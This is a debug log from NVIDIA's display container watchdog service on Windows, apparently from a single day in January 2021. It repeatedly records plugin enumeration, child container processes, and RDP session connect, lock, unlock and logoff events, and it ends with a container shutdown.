#9(D)[2021-01-13 16:46:36,106]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-13 16:46:36,106]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-13 16:46:36,106]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-13 16:46:36,106]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-13 16:46:36,106]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-13 16:46:36,106]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-13 16:46:36,106]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-13 16:46:36,106]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-13 16:46:36,106]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-13 16:46:36,106]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-13 16:46:36,122]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#40'
#6(I)[2021-01-13 16:46:36,122]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#40'
#7(D)[2021-01-13 16:46:36,122]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-13 16:46:36,122]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-13 16:46:36,122]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-13 16:46:36,122]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-13 16:46:36,122]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-13 16:46:36,122]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-13 16:46:36,122]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-13 16:46:36,122]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-13 16:46:36,122]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-13 16:46:36,122]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-13 16:46:37,396]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-13 16:46:37,396]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-13 16:52:43,724]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-13 16:52:43,724]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-13 16:52:43,802]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-13 16:52:43,802]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-13 19:50:00,364]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#0(I)[2021-01-13 19:50:00,364]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#1(I)[2021-01-13 19:50:00,364]{0000088C}<NvpWatchdog>      Session event was signaled
#2(I)[2021-01-13 19:50:00,364]{000005BC}<NvpWatchdog>      Session 2 event 3: Remote Connect
#3(I)[2021-01-13 19:50:00,364]{000005BC}<NvpWatchdog>      Signaled watchdog session change event.
#4(I)[2021-01-13 19:50:00,426]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-13 19:50:00,551]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#42'
#6(I)[2021-01-13 19:50:00,551]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#42'
#7(D)[2021-01-13 19:50:00,551]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-13 19:50:00,551]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-13 19:50:00,551]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-13 19:50:00,551]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-13 19:50:00,551]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-13 19:50:00,551]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-13 19:50:00,551]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-13 19:50:00,551]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-13 19:50:00,551]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-13 19:50:00,551]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-13 19:50:00,551]{0000088C}<NvpWatchdog>      Session event was signaled
#4(I)[2021-01-13 19:50:00,551]{0000088C}<NvpWatchdog>          Running session 1 - 'Console'
#5(I)[2021-01-13 19:50:00,567]{0000088C}<NvpWatchdog>          User session 2 - 'RDP-Tcp#42'
#6(I)[2021-01-13 19:50:00,567]{0000088C}<NvpWatchdog>          Running session 2 - 'RDP-Tcp#42'
#7(D)[2021-01-13 19:50:00,567]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#8(I)[2021-01-13 19:50:00,567]{0000088C}<NvpWatchdog>      Running sessions = 2, user sessions = 1 & service session
#9(D)[2021-01-13 19:50:00,567]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-13 19:50:00,567]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>    Group =>
#2(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#3(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#4(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#5(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>        Processes =>
#6(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#7(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#8(D)[2021-01-13 19:50:00,567]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#9(D)[2021-01-13 19:50:00,567]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(I)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>    Run containers for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#1(I)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>    Container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 1
#2(I)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>    Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session is already running in session 2
#3(D)[2021-01-13 19:50:00,567]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-13 19:50:00,567]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>    Group =>
#6(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#7(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#8(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#9(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildGroup>        Processes =>
#0(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#1(D)[2021-01-13 19:50:00,567]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000378
#2(D)[2021-01-13 19:50:00,567]{0000088C}<NvpWatchdog>      Wait for 5 handles. Timeout = 4294967295
#3(I)[2021-01-13 19:50:00,707]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#4(I)[2021-01-13 19:50:00,707]{000005BC}<NvpWatchdog>      Session 2 event 8: Unlock
#5(I)[2021-01-13 19:52:03,130]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#6(I)[2021-01-13 19:52:03,130]{000005BC}<NvpWatchdog>      Session 2 event 4: Remote Disconnect
#7(I)[2021-01-13 19:52:03,240]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#8(I)[2021-01-13 19:52:03,240]{000005BC}<NvpWatchdog>      Session 2 event 7: Lock
#9(I)[2021-01-13 23:41:01,959]{0000088C}<NvpWatchdog>      Process with index 1 exited
#0(D)[2021-01-13 23:41:01,959]{0000088C}<NvpChildGroup>    Found container for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session, session 2
#1(I)[2021-01-13 23:41:01,959]{0000088C}<NvpChildProcess>  Container 0000000000000378 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session exited with 40010004
#2(D)[2021-01-13 23:41:01,991]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#3(D)[2021-01-13 23:41:01,991]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#4(D)[2021-01-13 23:41:01,991]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#5(D)[2021-01-13 23:41:01,991]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#6(D)[2021-01-13 23:41:01,991]{0000088C}<NvpChildGroup>    Group =>
#7(D)[2021-01-13 23:41:01,991]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#8(D)[2021-01-13 23:41:01,991]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#9(D)[2021-01-13 23:41:01,991]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#0(D)[2021-01-13 23:41:01,991]{0000088C}<NvpChildGroup>        Processes =>
#1(D)[2021-01-13 23:41:01,991]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#2(D)[2021-01-13 23:41:01,991]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000000
#3(D)[2021-01-13 23:41:01,991]{0000088C}<NvpWatchdog>      Wait for 4 handles. Timeout = 10000
#4(I)[2021-01-13 23:41:05,506]{000005BC}<NvpWatchdog>      Session 2 event 6: Logoff
#5(I)[2021-01-13 23:41:05,569]{000005BC}<NvpWatchdog>      Session 2 event 6: Logoff
#6(I)[2021-01-13 23:41:11,991]{0000088C}<NvpWatchdog>      Timeout for a short wait of 10000 ms
#7(D)[2021-01-13 23:41:11,991]{0000088C}<NvpWatchdog>      Skip session 1 - 'Console' in state 8
#8(D)[2021-01-13 23:41:11,991]{0000088C}<NvpWatchdog>      Skip session 65536 - 'RDP-Tcp' in state 6
#9(I)[2021-01-13 23:41:11,991]{0000088C}<NvpWatchdog>      Running sessions = 0, user sessions = 0 & service session
#0(D)[2021-01-13 23:41:11,991]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-13 23:41:11,991]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#2(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>    Group =>
#3(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#4(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#5(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#6(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>        Processes =>
#7(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#8(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000000
#9(D)[2021-01-13 23:41:11,991]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#0(D)[2021-01-13 23:41:11,991]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#1(D)[2021-01-13 23:41:11,991]{0000088C}<DirectoryEnumera> Process file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#2(D)[2021-01-13 23:41:11,991]{0000088C}<DirectoryEnumera> OnItem returned FALSE for file C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session/NvFBCPlugin.dll
#3(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>    Group =>
#4(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>        Folder: C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session
#5(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>        Container: elevated - C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\NVDisplay.Container.exe
#6(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>        Parameters: -f %ProgramData%\DisplaySessionContainer%d.log -d C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session -r -l 3 -p 30000 -cfg NVDisplay.ContainerLocalSystem\Session
#7(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildGroup>        Processes =>
#8(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildProcess>          Session 1, process 00000000000003A8
#9(D)[2021-01-13 23:41:11,991]{0000088C}<NvpChildProcess>          Session 2, process 0000000000000000
#0(D)[2021-01-13 23:41:11,991]{0000088C}<NvpWatchdog>      Wait for 4 handles. Timeout = 4294967295
#1(I)[2021-01-13 23:43:28,891]{0000088C}<NvpWatchdog>      Quit event was signaled
#2(I)[2021-01-13 23:43:28,891]{0000088C}<NvpWatchdog>      Stopping child containers
#3(I)[2021-01-13 23:43:28,891]{0000088C}<NvpChildProcess>  Request container 00000000000003A8 for C:\Windows\System32\DriverStore\FileRepository\nv_dispi.inf_amd64_90685a092bcf58c7\Display.NvContainer\plugins\Session in session 1 to exit
#4(I)[2021-01-13 23:43:28,891]{0000088C}<NvpWatchdog>      Wait for containers to exit - 15000 ms
